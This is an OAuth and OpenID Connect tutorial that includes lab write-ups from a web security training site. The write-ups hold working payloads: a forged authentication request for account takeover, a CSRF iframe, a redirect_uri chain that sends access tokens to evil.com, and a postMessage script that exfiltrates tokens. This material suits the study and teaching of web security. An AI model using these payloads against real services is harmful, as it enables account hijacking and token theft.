OAuth Unmasked: Exposing Vulnerabilities and Attacks

A Hacker's Guide to Exploiting OAuth for Unauthorized Access and Beyond

·

26 min read

OAuth Unmasked: Exposing Vulnerabilities and Attacks

OAuth 101

OAuth, which stands for "Open Authorization," is an open-standard authorization protocol or framework that enables secure authorization of third-party applications or services to access a user's resources without exposing the user's credentials. It is commonly used as a method for users to grant websites or applications access to their information stored on other websites without revealing their passwords.

The OAuth protocol allows users to grant third-party applications limited access to their resources, such as profile data, photos, videos, and other information, hosted on a particular service provider (like Facebook, Google, Twitter, etc.). This access is granted through the issuance of access tokens, which the third-party application can use to access the user's resources on their behalf.

OAuth operates over HTTPS and relies on token-based authentication rather than the sharing of credentials (such as usernames and passwords), which enhances security by reducing the risk of exposing sensitive information. It also allows users to grant or revoke access to their resources at any time, providing greater control over their data.

Examples :

  1. Social Media Login: Users can log in to websites or apps using their existing accounts on platforms like Facebook, Google, or Twitter. OAuth allows these platforms to issue access tokens to the website or app, granting limited access to user information for authentication purposes.

  2. Cloud Storage Integration: Third-party apps can access cloud storage services like Google Drive with OAuth. Users authorize the app to access their storage, and the service issues an access token, enabling the app to interact with the user's files securely.

  3. Payment Processing: E-commerce websites integrate with payment services like PayPal using OAuth. Users authorize transactions on the payment service's platform, and OAuth facilitates secure communication between the website and the payment service, ensuring the transaction is authorized.

  4. Health Data Access: Health-tracking apps integrate with fitness device APIs (like Fitbit) using OAuth. Users grant permission for the app to access their fitness data, and OAuth enables secure data exchange between the app and the fitness device's servers.

OAuth 2.0 :

OAuth 2.0 is the current standard for authorization, but some websites still utilize the legacy version 1a. OAuth 2.0 was not a direct evolution from OAuth 1.0; instead, it was developed from scratch. Consequently, the two versions are quite distinct from each other. It's important to note that when the term "OAuth" is used, it exclusively refers to OAuth 2.0 in these contexts.

How OAuth 2.0 Works ?

OAuth 2.0 was originally developed as a way of sharing access to specific data between applications. It operates through a defined set of interactions involving three key parties: the client application, the resource owner, and the OAuth service provider.

  • Client Application: This refers to the website or web application seeking access to the user's data.

  • Resource Owner: This is the user whose data the client application aims to access.

  • OAuth Service Provider: This entity controls the user's data and governs access to it. It supports OAuth by offering an API for communication with both an authorization server and a resource server.

    • Authorization Server: Authenticates the resource owner and issues access tokens to client applications upon successful authentication and authorization. In our example, Facebook serves this role.

    • Resource Server: Handles authenticated requests once the client application has obtained an access token on behalf of the resource owner. In our scenario, Facebook also functions as the Resource Server.

OAuth implementations can vary significantly based on the specific requirements and use cases. These variations are referred to as OAuth "flows" or "grant types.”

What is OAuth grant types “OAuth Flows” ?

An OAuth grant type dictates the specific sequence of actions within the OAuth process. It defines how a client application interacts with the OAuth service at each stage, including the transmission method for the access token. Grant types are often termed "OAuth flows".

Before a client application can start an OAuth flow, the OAuth service must be configured to support a particular grant type. In the initial authorization request send to the OAuth service, the client application specifies the chosen grant type.

OAuth grant types “OAuth Flows”

There are several different grant types, each with varying levels of complexity and security considerations. "authorization code" and "implicit" grant types stand out as the most commonly used in OAuth protocols.

OAuth Scope

In any OAuth grant type, the client application must specify the data it intends to access and the operations it seeks to perform. It accomplishes this through the "scope" parameter in the authorization request sent to the OAuth service.

In basic OAuth, the scopes available for client application access are specific to each OAuth service. The scope name is a flexible text string, and its format can vary significantly across providers. Some providers even use full URIs as scope names, resembling REST API endpoints. For instance, when seeking read access to a user's contact list, the scope name might take various forms depending on the OAuth service:

However, in OAuth scenarios involving authentication, standardized OpenID Connect scopes are often employed. For instance, the scope "openid profile" would grant the client application read access to a predefined set of basic user information, such as their email address and username.

Authorization Code Grant Type

In brief, the OAuth process begins with the client application and OAuth service exchanges of browser-based HTTP requests via redirects. The user is prompted to approve the requested access. Upon acceptance, the client application is issued an "authorization code.” This code is then exchanged with the OAuth service for an "access token," granting the client application the ability to fetch the necessary user data through API calls.

From the exchange of code/token onwards, all communication occurs server-to-server via a secure, prearranged back-channel, unseen by the end user. This secure channel is established during the client application's initial registration with the OAuth service. At this stage, a client_secret is generated, which the client application must utilize to authenticate itself when transmitting these server-to-server requests.

Given that the most sensitive data (such as the access token and user data) isn't transmitted via the browser, this grant type is arguably the most secure. Therefore, server-side applications should strive to utilize this grant type whenever feasible.

Authorization Code Steps

  1. Authorization request

    The client application requests access to specific user data by sending a request to the OAuth service's /authorization endpoint. It's important to note that the endpoint mapping might differ among providers.

    However, you should always be able to identify the endpoint based on the parameters used in the request.

     GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=code&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
     Host: oauth-authorization-server.com
    

    The request to the OAuth service's endpoint includes several important parameters, typically provided in the query string:

    • client_id: A mandatory parameter containing the unique identifier of the client application, generated during registration with the OAuth service.

    • redirect_uri: The URI to which the user's browser should be redirected when sending the authorization code to the client application, also known as the "callback URI" or "callback endpoint." The validation of this parameter is crucial as many OAuth attacks exploit flaws in its validation.

    • response_type: Determines the type of response expected by the client application and thus the flow to be initiated. For the authorization code grant type, the value should be "code."

    • scope: Specifies the subset of the user's data the client application wants to access. These scopes may be custom or standardized, as defined by the OAuth provider or the OpenID Connect specification.

    • state: Stores a unique and unguessable value tied to the current session on the client application. The OAuth service returns this exact value in the response, along with the authorization code. This parameter acts as a CSRF token for the client application, ensuring that the request to its /callback endpoint originates from the same user who initiated the OAuth flow.

  2. User login and consent

    Upon receiving the initial request, the authorization server redirects the user to a login page, typically associated with the OAuth provider, such as their social media account. Here, the user is prompted to log in and presented with a list of data that the client application seeks to access, based on the scopes defined in the authorization request. The user can then choose to consent or decline this access.

    Importantly, once the user has approved a scope for a client application, subsequent logins are streamlined as long as the user maintains a valid session with the OAuth service. This means that while the initial login and consent process may require manual intervention, subsequent logins often involve a single click to grant access again.

  3. Authorization code grant

    Upon user consent, their browser is redirected to the specified /callback endpoint from the redirect_uri parameter in the authorization request. This GET request includes the authorization code as a query parameter. Optionally, it may also transmit the state parameter with the same value as in the initial authorization request.

     GET /callback?code=a1b2c3d4e5f6g7h8&state=ae13d489bd00e3c24 HTTP/1.1
     Host: client-app.com
    
  4. Access token request

    After receiving the authorization code, the client application proceeds to exchange it for an access token. It accomplishes this by sending a server-to-server POST request to the OAuth service's /token endpoint. All communication beyond this point occurs within a secure back-channel, typically inaccessible to attackers.

     POST /token HTTP/1.1
     Host: oauth-authorization-server.com
     …
     client_id=12345&client_secret=SECRET&redirect_uri=https://client-app.com/callback&grant_type=authorization_code&code=a1b2c3d4e5f6g7h8
    

    In addition to the client_id and authorization code, the request includes the following parameters:

    • client_secret: The client application authenticates itself by providing the secret key assigned during registration with the OAuth service.

    • grant_type: Specifies the grant type the client application intends to use. In this case, it should be set to "authorization_code."

  5. Access token grant

    Upon receiving the access token request, the OAuth service validates it. If all parameters align as expected, the server responds by issuing the client application an access token with the requested scope.

     {
         "access_token": "z0y9x8w7v6u5",
         "token_type": "Bearer",
         "expires_in": 3600,
         "scope": "openid profile",
         …
     }
    
  6. API call

    With the access token in hand, the client application proceeds to retrieve the user's data from the resource server. This is achieved by making an API call to the OAuth service's /userinfo endpoint. The access token is included in the Authorization header with the value "Bearer" to authenticate the client application's permission to access the data.

  7. Resource grant\

    The resource server should verify that the token is valid and that it belongs to the current client application. If so, it will respond by sending the requested resource i.e. the user's data based on the scope of the access token.

     {
         "username":"n1ght",
         "email":"n1ght@n1ghtm4r3.com",
         …
     }
    

    The client application can finally use this data for its intended purpose. In the case of OAuth authentication, it will typically be used as an ID to grant the user an authenticated session, effectively logging them in.

Implicit grant type

The implicit grant type in OAuth is simpler as it provides the access token directly to the client application after the user consents, without the intermediary step of obtaining an authorization code.

However, its simplicity comes with reduced security compared to other grant types. Communication occurs solely through browser redirects, lacking a secure back-channel like the authorization code flow. Consequently, the access token and user data are more vulnerable to potential attacks.

Despite its simplicity, the implicit grant type is more suitable for single-page applications and native desktop applications. These applications may find it challenging to securely store client secrets on the backend

Implicit grant type steps

  1. Authorization request

    The implicit flow initiates similarly to the authorization code flow, with the primary distinction lying in the response_type parameter, which must be set to "token".

     GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=token&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
     Host: oauth-authorization-server.com
    
  2. User login and consent

    The user logs in and determines whether to grant consent for the requested permissions, mirroring the process in the authorization code flow.

  3. Access token grant

    Upon user consent, the OAuth service redirects the user's browser to the specified redirect_uri from the authorization request. However, instead of including an authorization code in a query parameter, it sends the access token and other token-specific data as a URL fragment.

     GET /callback#access_token=z0y9x8w7v6u5&token_type=Bearer&expires_in=5000&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
     Host: client-app.com
    

    As the access token is sent in a URL fragment, it is never sent directly to the client application. Instead, the client application must use a suitable script to extract the fragment and store it.

  4. API Call

    Upon successfully extracting the access token from the URL fragment, the client application can utilize it to make API calls to the OAuth service's /userinfo endpoint. Unlike in the authorization code flow, this interaction also occurs through the browser.

     GET /userinfo HTTP/1.1
     Host: oauth-resource-server.com
     Authorization: Bearer z0y9x8w7v6u5
    
  5. Resource grant

    The resource server needs to authenticate the token's validity and verify its association with the current client application. If validated, the resource server responds by providing the requested resource, such as the user's data based on the scope granted by the access token.

     {
         "username":"n1ght",
         "email":"n1ght@n1ghtm4r3.com",
     }
    

    The client application can then utilize this data as needed. In OAuth authentication scenarios, it often serves as an identifier to establish an authenticated session for the user, essentially logging them in.

OAuth Authentication Vulnerabilities

OAuth authentication vulnerabilities results from the inherent flexibility and vagueness of the OAuth specification. While certain mandatory components ensure basic functionality across grant types, much of the implementation remains optional. This includes crucial configuration settings vital for safeguarding users' data. Consequently, the lack of strict guidelines opens the door to potential security risks and allows for the introduction of bad practices.

OAuth suffers from a deficiency in built-in security features, placing significant reliance on developers to configure settings correctly and implement additional security measures, such as thorough input validation. This complexity increases the likelihood of errors, particularly for those inexperienced with OAuth.

Furthermore, depending on the grant type, sensitive data transmission through the browser introduces vulnerabilities, offering attackers opportunities for interception.

Identify OAuth Authentication :

Identifying OAuth authentication is simple: if you encounter an option to log in using your account from another website, it likely employs OAuth.

In any OAuth grant type, the initial step of the flow involves sending a request to the /authorization endpoint, including specific query parameters essential for OAuth functionality. Notably, key parameters to watch for include client_id, redirect_uri, and response_type. An example of an authorization request typically appears as follows:

GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=token&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: oauth-authorization-server.com

Recon :

Basic reconnaissance of the OAuth service being utilized can provide valuable insights for identifying vulnerabilities. Also studying the different HTTP interactions constituting the OAuth flow is essential for understanding its functioning and potential vulnerabilities.

When using an external OAuth service, you can identify the specific provider from the hostname to which the authorization request is sent. These services typically offer detailed documentation about their public API, including endpoint names and configuration options.

Sending a GET request to standard endpoints like /.well-known/oauth-authorization-server and /.well-known/openid-configuration can yield a JSON configuration file with crucial details. This file may reveal additional supported features, broadening the attack surface and uncovering features not explicitly mentioned in the documentation.

Vulnerabilities :

Vulnerabilities can manifest in two primary areas : within the client application's implementation of OAuth and within the configuration of the OAuth service itself. Identifying and addressing issues in both aspects are crucial for ensuring the security of OAuth-enabled systems.

  • Vulnerabilities in the client application

    • Improper implementation of the implicit grant type

    • Flawed CSRF protection

  • Vulnerabilities in the OAuth service

    • Leaking authorization codes and access tokens

    • Flawed scope validation

    • Unverified user registration

Exploiting OAuth authentication vulnerabilities

Exploiting OAuth vulnerabilities involves understanding protocol intricacies, targeting misconfigurations and lax input validation to gain unauthorized access.

Vulnerabilities in the client application

While client applications typically leverage established, robust OAuth services to mitigate common exploits, their own implementation may lack the same level of security scrutiny, potentially introducing vulnerabilities.

Improper implementation of the implicit grant type

The implicit grant type, commonly utilized in single-page applications (SPAs) due to its straightforwardness, is also frequently employed in traditional client-server web applications, despite its inherent risks. In this flow, the access token is carried from the OAuth service to the client application through the user's browser as a URL fragment. Subsequently, JavaScript within the client application retrieves the token.

A challenge arises when the client application seeks to persist user sessions, particularly after the user closes the page. To address this, the client application often forwards user data, typically comprising a user ID and the access token, to the server via a POST request. Upon receipt, the server assigns the user a session cookie, effectively establishing a logged-in session.

In the implicit OAuth flow, the client application's POST request is vulnerable to exposure via the browser, posing a serious risk if the client application fails to adequately verify that the access token aligns with other data in the request, attackers can exploit this by manipulating parameters to impersonate any user.

Exploit :

This POST request send to ther application /authenticate endpoint at the end of the OAuth flow to logs the user in it contain the access token

POST /authenticate HTTP/2
Host: 0a0d009504139367824ced9700b200dd.web-security-academy.net
Cookie: session=7DfDNuTw9ePecqLzERqew5DL8KHRmAbo
...

{"email":"wiener@hotdog.com","username":"wiener","token":"D_BV4F7McY8daUlUhpYuhCSSYceb0XItpPshBYYezti"}

As the access token is valid and the application doesn’t check if the access tokens aligns with other data in this case the email I can change the email to other user email and the application will assign the me a session cookie for that user

POST /authenticate HTTP/2
Host: 0a0d009504139367824ced9700b200dd.web-security-academy.net
Cookie: session=7DfDNuTw9ePecqLzERqew5DL8KHRmAbo
....
{"email":"carlos@carlos-montoya.net","username":"wiener","token":"D_BV4F7McY8daUlUhpYuhCSSYceb0XItpPshBYYezti"}

Response

HTTP/2 302 Found
Location: /
Set-Cookie: session=yaVuRvnpsjui7OUBumfutP1rtzjqXrCb; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Now I can right-click on the POST request and select "Request in browser" > "In original session" and copy the URL then visit it in the browser and I am in Carlos account

Flawed CSRF protection

In OAuth flows, certain components are strongly recommended for security, such as the state parameter. This parameter helps prevent Cross-Site Request Forgery (CSRF) attacks by ensuring that authorization requests originate from the legitimate user. Its absence in an authorization request is concerning from a security perspective, as it opens up the possibility of unauthorized OAuth flow initiation by attackers.

In scenarios where a website offers both traditional login and OAuth integration with social media accounts, failure to use the state parameter could lead to severe consequences. Attackers could potentially hijack user accounts on the website by linking them to their own social media profiles without the user's consent. This underscores the critical importance of implementing security best practices, such as including the state parameter, to safeguard against such vulnerabilities in OAuth implementations.

This attack could be something like this :

when the attacker link his social media account to the web application to use it to complete the login process the web application create this request to the endpoint /oauth-linking

GET /oauth-linking?code=mtyNoDBrfCRNZ6EDOMGpaYmKfk9c5jZx72KRfp2Yocz HTTP/2
Host: 0afa00b2041afa5a83751ed4004a00b9.web-security-academy.net
Cookie: session=pDRIakUfAIy14bEMeUg31OL7kWMCUpcM
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: <https://0afa00b2041afa5a83751ed4004a00b9.web-security-academy.net/>
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers

The code parameter refer to the attacke social media account and as the is no state parameter here to prevent CSRF attack it makes it easy to hijack a victim user's account on the client application by binding it to the attacker social media account.

CSRF Payload :

<iframe src="<https://target.com/oauth-linking?code=mtyNoDBrfCRNZ6EDOMGpaYmKfk9c5jZx72KRfp2Yocz>"></iframe>

When the victim load tha page with this iframe his account will be bending to the hacker social media account

Vulnerabilities in the OAuth service

Leaking authorization codes and access tokens

The vulnerability in OAuth services allows attackers to steal authorization codes or access tokens, compromising users' accounts. If the OAuth service fails to validate redirect URIs properly, attackers can exploit CSRF-like attacks to redirect tokens to their controlled endpoints. In the authorization code flow, attackers intercept codes before use, then redirect them to legitimate endpoints to access victim accounts without needing client secrets. Protection mechanisms like state or nonce do not fully prevent these attacks as attackers can generate their own values.

<iframe src="<https://oauth-server.net/auth?client_id=ylshmpr4gcp0r40t9303t&redirect_uri=https://exploit-server.net/exploit&response_type=code&scope=openid%20profile%20email>"></iframe>

Flawed redirect_uri validation

The OAuth service should validate the redirect_uri parameter against a whitelist to prevent unauthorized redirects. However, attackers can exploit flaws in this validation process to bypass security measures. Techniques include:

  1. Manipulating the redirect_uri parameter by adding or removing arbitrary paths, query parameters, and fragments to evade validation checks.

  2. Appending extra values to the default redirect_uri parameter to exploit discrepancies in URI parsing by different components of the OAuth service.

  3. Exploiting server-side parameter pollution vulnerabilities by submitting duplicate redirect_uri parameters.

  4. Taking advantage of special treatment of localhost URIs, which may sometimes be permitted in production environments, allowing for the bypass of validation.

  5. Experimenting with different combinations of parameter changes, as altering one parameter can affect the validation of others.

  6. Considering other parameters such as response_mode and web_message, as they can also affect redirect_uri validation.

Testing should not be limited to probing the redirect_uri parameter alone, as changes to other parameters can also impact validation. Vigilance and thorough experimentation are necessary to identify and mitigate potential security vulnerabilities in OAuth implementations

Stealing codes and access tokens via a proxy page

When encountering robust targets where submitting an external domain as the redirect_uri seems impossible, it's crucial to pivot your approach. Rather than focusing solely on redirect_uri manipulation, explore ways to access a broader attack surface within the client application itself.

Understanding the permissible alterations to the URI, attempt to access different subdomains or paths within the whitelisted domain. Utilize directory traversal techniques to supply arbitrary paths, expanding the scope of potential targets. For instance:

<https://client-app.com/oauth/callback/../../example/path>

may be interpreted as:

<https://client-app.com/example/path>

Identify accessible pages and audit them for additional vulnerabilities that could facilitate code or token leakage. For the authorization code flow, seek vulnerabilities granting access to query parameters. For the implicit grant type, focus on extracting URL fragments.

An advantageous vulnerability to exploit is an open redirect, allowing forwarding victims, along with their code or token, to an attacker-controlled domain. This enables hosting malicious scripts for further exploitation.

Lab : Stealing OAuth access tokens via an open redirect

The lab start with login to my account using OAuth via social media account by turning on burp to see the requests of the OAuth proccess, this is the OAuth request

GET /auth?client_id=n0cxizysycg60m4dv8s48&redirect_uri=https://0ab0000c03d9cf4484775a3000350040.web-security-academy.net/oauth-callback&response_type=token&nonce=-1517319408&scope=openid%20profile%20email HTTP/2
Host: oauth-0a07005303a0cf3984b8583002d900b2.oauth-server.net
...

Resopnse :

HTTP/2 302 Found
....

Redirecting to <a href="<https://0ab0000c03d9cf4484775a3000350040.web-security-academy.net/oauth-callback#access_token=SO7ytwQbZ_8aysFDX8W65-L73JBV749OAg-nB5lS45N&amp;expires_in=3600&amp;token_type=Bearer&amp;scope=openid%20profile%20email>"><https://0ab0000c03d9cf4484775a3000350040.web-security-academy.net/oauth-callback#access_token=SO7ytwQbZ_8aysFDX8W65-L73JBV749OAg-nB5lS45N&amp;expires_in=3600&amp;token_type=Bearer&amp;scope=openid%20profile%20email></a>.

I tried to manipulate the redirect_uri but I cannot supply an external domain as redirect_uri because it's being validated against a whitelist. But I notieced that I cann append aditional characters to the default value without encountering an error, including the /../ path traversal sequence. by chining this chaining this to an open redirect vulnerability on the endpoint /post/next?path=<domain> . I can use this t o send the access_token to my server by sending this request :

GET /auth?client_id=n0cxizysycg60m4dv8s48&redirect_uri=https://0ab0000c03d9cf4484775a3000350040.web-security-academy.net/oauth-callback/../post/next?path=https://evil.com&response_type=token&nonce=-1517319408&scope=openid%20profile%20email HTTP/2
Host: oauth-0a07005303a0cf3984b8583002d900b2.oauth-server.net
...

and the response:

Redirecting to <a href="<https://0ab0000c03d9cf4484775a3000350040.web-security-academy.net/oauth-callback/../post/next?path=https%3A%2F%2Fevil.com#access_token=C8Ba28NNzAry8yDx1syU1Uv_SGSMov_3NcKdVxuZhGa&amp;expires_in=3600&amp;token_type=Bearer&amp;scope=openid%20profile%20email>"><https://0ab0000c03d9cf4484775a3000350040.web-security-academy.net/oauth-callback/../post/next?path=https%3A%2F%2Fevil.com#access_token=C8Ba28NNzAry8yDx1syU1Uv_SGSMov_3NcKdVxuZhGa&amp;expires_in=3600&amp;token_type=Bearer&amp;scope=openid%20profile%20email></a>.

the access token will be send to evil.com as a result to the open redirect

Exploit: CSRF Attack

https://myserver.com/oauth_exploit

<script>
    if (!document.location.hash) {
        window.location = '<https://oauth-0ab9009e03c88153804f519b02710019.oauth-server.net/auth?client_id=iqlk3pk64q3ci4bk50vk6&redirect_uri=https://0a3b0073031b8173800053b90074009e.web-security-academy.net/oauth-callback/../post/next?path=https://myserver.com/oauth_exploit&response_type=token&nonce=1352584571&scope=openid%20profile%20email>'
    } else {
        window.location = '/?'+document.location.hash.substr(1)
    }
</script>

When the user visit oauth_exploit endpoint

  1. The script first checks if the current page URL contains a hash fragment (#). If there is no hash fragment, it indicates that the user hasn't been redirected back from the OAuth server yet.

  2. If there is no hash fragment, the script initiates the OAuth authentication flow by redirecting the user to the OAuth server's authorization endpoint.

  3. If there is a hash fragment in the URL, it implies that the user has been redirected back from the OAuth server. In this case, the script redirects the user to the root of the current domain ("/") with the hash fragment appended as a query parameter which contain the access_token.

    #access_token=C8Ba28NNzAry8yDx1syU1Uv_SGSMov_3NcKdVxuZhGa

Lab : Stealing OAuth access tokens via a proxy page

The application got a comment section which is an IFRAME uses postMessage() to communicate with it’s parent window

parent.postMessage({type: 'onload', data: window.location.href}, '*')
function submitForm(form, ev) {
    ev.preventDefault();
    const formData = new FormData(document.getElementById("comment-form"));
    const hashParams = new URLSearchParams(window.location.hash.substr(1));
    const o = {};
    formData.forEach((v, k) => o[k] = v);
    hashParams.forEach((v, k) => o[k] = v);
    parent.postMessage({type: 'oncomment', content: o}, '*');
    form.reset();
}

postMessage() method to send the window.location.href property to its parent window. Crucially, it allows messages to be posted to any origin (*).

Exploit :

https://myserver/exploit

<iframe src="<https://oauth-ac731f1e1e8b2c638026bd5c021700f9.web-security-academy.net/auth?client_id=hmu084l9x487ob0rhph0d&redirect_uri=https://ac5c1f5d1e832c51805ebd05001000b2.web-security-academy.net/oauth-callback/../post/comment/comment-form&response_type=token&nonce=-391999832&scope=openid%20profile%20email>">
</iframe>

<script>
window.addEventListener('message', function(e) {
fetch("/" + encodeURIComponent(e.data.data))       
}, false)
</script>
  1. An iframe is created with its src attribute pointing to an OAuth server's authorization endpoint. This initiates the OAuth authentication flow. The parameters in the URL specify details such as the client ID, redirect URI, response type, nonce, and scope.

  2. Once the user completes the authentication process on the OAuth server, the server redirects back to the specified redirect URI with the access token appended as a URL fragment.

  3. The parent window (the window containing the iframe) listens for messages sent from the iframe using the window.addEventListener method with the 'message' event.

  4. When the user is redirected back to the redirect URI (specified in the iframe's src attribute) with the access token in the URL fragment, the OAuth server sends a message containing the access token data to the parent window using the window.postMessage method.

  5. The message event listener in the parent window captures the message containing the access token data.

  6. The access token data is extracted from the message and used to make a fetch request to the server. The fetch request is sent to the server endpoint specified ("/" + encodeURIComponent(e.data.data)).

  7. It's important to note that the specific server endpoint where the fetch request is sent ("/" + encodeURIComponent(e.data.data)) may vary depending on the server-side implementation and the expected format of the access token data.

Flawed scope validation

In the OAuth authorization code grant type flow, attackers may exploit flawed validation by the OAuth service to upgrade access tokens. By registering their own client application, attackers can manipulate token requests to include additional scopes.

  • Scope upgrade: authorization code flow

    For instance, an attacker's client application initially requests access to the user's email address using the openid email scope. After approval, the application receives an authorization code. The attacker can then add another scope parameter to the token exchange request, such as profile.

    If the OAuth service fails to validate this against the initial authorization request, it may issue an access token with the new scope. For example:

      {
          "access_token": "z0y9x8w7v6u5",
          "token_type": "Bearer",
          "expires_in": 3600,
          "scope": "openid email profile",
          …
      }
    

    The attacker can use this token to access additional user profile data through their application.

  • Scope Upgrade: Implicit Flow:

    • In the implicit grant type, attackers can steal access tokens associated with legitimate client applications.

    • Once an access token is obtained, attackers can send requests to the OAuth service's /userinfo endpoint, manually adding new scope parameters.

    • If the OAuth service doesn't properly validate these added scopes, attackers can access additional data without further user approval.

Unverified user registration

Some OAuth providers allow user registration without full verification, leading to potential exploitation.Attackers can register accounts with the OAuth provider using target user details, such as known email addresses.Client applications may inadvertently allow attackers to impersonate victims by signing in with fraudulent accounts created through the OAuth provider.

These scenarios emphasize the need for robust scope validation by OAuth services and thorough user registration verification to prevent exploitation.

Extending OAuth with OpenID Connect

OAuth was originally designed for authorization rather than authentication, leading to various custom implementations for authentication purposes. These implementations lacked standardization, resulting in inconsistent user authentication experiences across different applications and OAuth providers. OpenID Connect addresses these issues by extending OAuth with standardized identity-related features, providing a dedicated layer for authentication on top of the basic OAuth framework. This enables more reliable and uniform authentication processes, reducing the need for custom workarounds and allowing client applications to interact with OAuth providers in a standardized manner.

How OpenID Works ?

OpenID Connect seamlessly integrates with standard OAuth flows, with a few key distinctions. The main difference lies in the addition of standardized scopes and a new response type, id_token, from the perspective of the client application.

Roles in OpenID Connect mirror those in standard OAuth but with slightly different terminology:

  1. Relying Party: Equivalent to the OAuth client application, the relying party is the application that requests user authentication.

  2. End User: This is the user who undergoes the authentication process, equivalent to the OAuth resource owner.

  3. OpenID Provider: An OAuth service that supports OpenID Connect, configured to handle authentication requests.

The flow of OpenID Connect involves the relying party initiating an authentication request to the OpenID provider, which then authenticates the end user. Upon successful authentication, the OpenID provider issues an id_token along with an access token (if necessary) back to the relying party. The relying party can then use the id_token to verify the user's identity and make informed decisions about user access and authorization within the application. This standardized approach simplifies and enhances the authentication process, ensuring consistency across different OAuth providers.

OpenID Connect claims and scopes

In OpenID Connect, "claims" refer to the key-value pairs containing information about the user on the resource server. For instance, a claim might be "family_name":"Montoya", indicating the user's family name.

Unlike basic OAuth, where scopes vary between providers, OpenID Connect standardizes scopes. To utilize OpenID Connect, the client application must include the "openid" scope in the authorization request. Additionally, it can specify one or more of the following standard scopes:

  1. profile

  2. email

  3. address

  4. phone

Each scope corresponds to read access for a specific subset of claims about the user, as defined in the OpenID specification. For instance, requesting the "openid profile" scope grants the client application read access to various claims regarding the user's identity, such as family name, given name, birth date, and more. This standardization simplifies the process and ensures consistency across OpenID Connect services.

ID Toke

OpenID Connect introduces the id_token response type, which returns a JSON Web Token (JWT) signed with a JSON Web Signature (JWS). This JWT payload includes a list of claims based on the initially requested scope, along with information about how and when the user was last authenticated by the OAuth service. This allows the client application to determine if the user has been adequately authenticated.

The primary advantage of using id_token is the reduction in the number of requests between the client application and the OAuth service, potentially improving performance. Instead of obtaining an access token and then requesting user data separately, the ID token containing this data is sent to the client application immediately after the user's authentication.

Unlike basic OAuth, where data integrity relies on a trusted channel, the integrity of data transmitted in an ID token is based on a JWT cryptographic signature. This feature may help mitigate some man-in-the-middle attacks. However, because the cryptographic keys for signature verification are transmitted over the same network channel (typically exposed on /.well-known/jwks.json), certain attacks remain possible.

It's worth noting that OAuth supports multiple response types. Thus, a client application can send an authorization request with both a basic OAuth response type and OpenID Connect's id_token response type simultaneously (e.g., response_type=id_token token or response_type=id_token code). In such cases, the client application receives both an ID token and either a code or an access token simultaneously.

OpenID Connect vulnerabilities

OpenID Connect provides a stricter specification compared to basic OAuth, reducing the likelihood of quirky implementations and glaring vulnerabilities. However, as OpenID Connect is built on top of OAuth, vulnerabilities associated with OAuth-based attacks are still possible. Notably, OpenID Connect is employed in OAuth authentication labs, indicating its integration and importance in authentication mechanisms.

Identifying OpenID Connect :

To determine if OpenID Connect is utilized by a client application, check for the mandatory "openid" scope in the authorization request. If not explicitly stated, attempt to add the "openid" scope or change the response type to "id_token" to see if it results in an error, indicating support for OpenID Connect. Additionally, consult the OAuth provider's documentation for information on OpenID Connect support or access the configuration file from the standard endpoint /.well-known/openid-configuration

Unprotected dynamic client registration

The OpenID specification allows client applications to register with the OpenID provider via a dedicated /registration endpoint if dynamic client registration is supported. Clients submit key information, such as whitelisted redirect URIs, in JSON format in the request body. This standardized process ensures consistency and security in client registration across OpenID providers.

POST /openid/register HTTP/1.1
Content-Type: application/json
Accept: application/json
Host: oauth-authorization-server.com
Authorization: Bearer ab12cd34ef56gh89

{
    "application_type": "web",
    "redirect_uris": [
        "<https://client-app.com/callback>",
        "<https://client-app.com/callback2>"
        ],
    "client_name": "My Application",
    "logo_uri": "<https://client-app.com/logo.png>",
    "token_endpoint_auth_method": "client_secret_basic",
    "jwks_uri": "<https://client-app.com/my_public_keys.jwks>",
    "userinfo_encrypted_response_alg": "RSA1_5",
    "userinfo_encrypted_response_enc": "A128CBC-HS256",
    …
}

OpenID providers should necessitate client application authentication during dynamic client registration to prevent potential misuse. However, some providers may allow registration without authentication, enabling attackers to register malicious client applications. This can lead to various consequences, particularly if attacker-controlled properties, such as URIs, are accessed by the provider. Without proper security measures, this can result in second-order Server-Side Request Forgery (SSRF) vulnerabilities.

Allowing authorization requests by reference

Some OpenID providers allow authorization request parameters to be submitted via a JSON Web Token (JWT) instead of the standard query string method. This is done by sending a single request_uri parameter pointing to a JWT containing the parameters and their values. However, this method may introduce a potential Server-Side Request Forgery (SSRF) vector. Additionally, it could be exploited to bypass parameter value validation. To check if this option is supported, look for the request_uri_parameter_supported option in the provider's configuration or documentation, or simply try adding the request_uri parameter to the request.